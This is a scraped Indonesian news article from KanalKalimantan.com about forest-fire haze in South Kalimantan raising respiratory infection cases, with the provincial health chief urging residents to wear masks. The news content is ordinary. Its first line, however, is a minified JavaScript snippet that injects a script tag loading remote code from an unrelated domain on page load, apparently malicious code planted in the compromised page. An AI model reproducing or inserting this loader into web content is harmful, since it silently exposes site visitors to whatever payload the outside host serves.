(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dampak Kabut Asap Masyarakat Kalsel Diminta Pasang Masker


KANALKALIMANTAN.COM, BANJARMASIN – Kebakaran hutan dan lahan (Karhutla) di Kalimantan Selatan (Kalsel) berdampak terhadap peningkatan penyakit Inspeksi Saluran Pernapasan Akut (ISPA) di masyarakat.

Dari data Dinas Kesehatan (Dinkes) Kalsel dalam dua bulan terakhir jumlah penderita ISPA di Kalsel paling banyak menyerang masyarakat di tiga darah, yaitu di Kota Banjarmasin, Kabupaten Banjar, dan Kota Banjarbaru.

“Posisi pertama atau paling tinggi di Kota Banjarmasin, kemudian Banjarbaru, lalu Kabupaten Banjar,” kata Kepala Dinas Kesehatan Kalsel dr Diauddin di Banjarmasin, Senin (18/9/2023) pagi.

Baca juga: Dua Terdakwa Korupsi Kredit Kupedes Fiktif di Banjarbaru Dihadirkan ke Sidang

Namun, Kadinkes Kalsel ini tidak merinci angka penderita ISPA pada 13 daerah, hanya menyebut jika penderita ISPA di Kalsel per Agustus telah mencapai angka puluhan ribu.

“Kemarin itu di bulan Agustus (penderita ISPA) di angka puluhan ribu, saya lupa angka pastinya,” kata dr Dia -sebutan akrab dr Diaduddin-.

Kepala Dinas Kesehatan Provinsi Kalimantan Selatan dr Diaduddin. Foto: rizki

Kadinkes Kalsel tidak menampik jika penyakit ISPA yang menyerang masyarakat selama ini diakibatkan oleh kabut asap dari kebakaran hutan atau lahan.

Baca juga: Api Mengamuk di Kelurahan Gambut, Satu Orang Meninggal

“Kasus ISPA ini memang disebabkan oleh kabut asap, jadi masyarakat khususnya anak yang sensitif debu dan asap mudah terserang,” ungkapnya.

Menghadapi itu, Dinkes Kalsel sendiri dikatakan dr Dia telah melakukan beberapa tindakan pencegahan seperti mengeluarkan surat edaran ke instansi kesehatan di Kabupaten Kota, memberikan pelayanan kesehatan keliling, dan kegiatan pembagian masker.

Secara langsung, dr Dia juga mengimbau kepada seluruh masyarakat di 13 Kabupaten Kota di Kalsel untuk memakai masker saat beraktivitas diluar rumah, terutama bagi daerah yang terdampak Karhutla.

Baca juga: Gema Maulid Nabi 14 Malam di Mahligai Pancasila Banjarmasin

“Masyarakat yang banyak beraktivitas di luar rumah, apalagi di wilayah kabut asap pekat diimbau untuk memakai masker,” imbaunya.

Selain itu, masyarakat juga diminta untuk tidak membakar sampah sembarangan yang dapat menjadi pemicu terjadinya Karhutla. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.